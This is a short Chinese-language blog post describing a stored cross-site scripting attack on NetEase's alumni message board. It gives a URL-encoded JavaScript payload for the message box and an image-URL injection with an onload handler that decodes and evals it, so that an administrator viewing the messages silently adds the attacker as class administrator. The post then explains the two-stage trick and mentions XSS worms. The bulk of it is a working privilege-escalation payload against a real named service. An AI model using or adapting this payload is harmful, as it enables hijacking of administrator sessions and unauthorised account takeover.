也谈一个跨站的利用

    1.方法:

    网易同学录留言功能存在跨站,这里演示一个利用它把自己加为班级管理员的方法。

    在留言框里填写:

    +++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D—
    在留言的贴图url的输入框里填写:

    http://alumniimg.163.com/new/images/classhome_logo.gif” onload=”var t=document.body.innerHTML;var s=t.indexOf(‘+++’)+3;var e=t.indexOf(‘—‘);eval(unescape(t.substring(s,e)));”>
    管理员察看班级留言时就会把我添加为管理员。

    2.原理:

    留言框里填写的留言+++和—之间的部分代码解码后如下:


    try {
     var as = document.getElementsByTagName(“a”);
     var frm = document.getElementsByTagName(“iframe”)[0];
     frm.onload = function() {
      var oFrm = document.getElementsByTagName(“iframe”)[0];
      oFrm.onload = “”;
      var oDoc = oFrm.contentWindow.document;
      oDoc.all[“who”][1].checked = true;
      oDoc.dealmember.action = “backaction/UpdateClassMate.jsp?f=1”;
      oDoc.dealmember.submit();
     }
     frm.src = as[34].href;
    } catch (e) {
     alert(e);
    }
    漏洞出在贴图url的输入框没有过滤url,我在这里贴一个图,加上个onload事件,只要图片
    url有效,图片正常载入就会触发该事件,执行我的onload里的代码,而onload里的代码搜索
    我的留言里的代码,进行解码,然后执行。因为图片url的长度有限制,所以我才做这么一次
    跳转,把我要做的事情分为两步。

    3.最后:

    为什么要贴这个没啥技术含量的东西,主要是觉得比较funy,你不觉得这样的利用过程和溢出
    跳转执行shellcode有异曲同工的意思,因为有长度限制,所以我们要把shellcode分为几部分,
    第一部分跳到第二部分来突破长度的限制,所有漏洞的原理本身就相似。
    跨站的利用也可以玩的很有意思,比如"现有html和js上下文的利用,自我隐藏,脚本变形,
    突破长度限制,跨站漏洞蠕虫等等",抛个砖头在这里等大家的玉。

发表评论

发表评论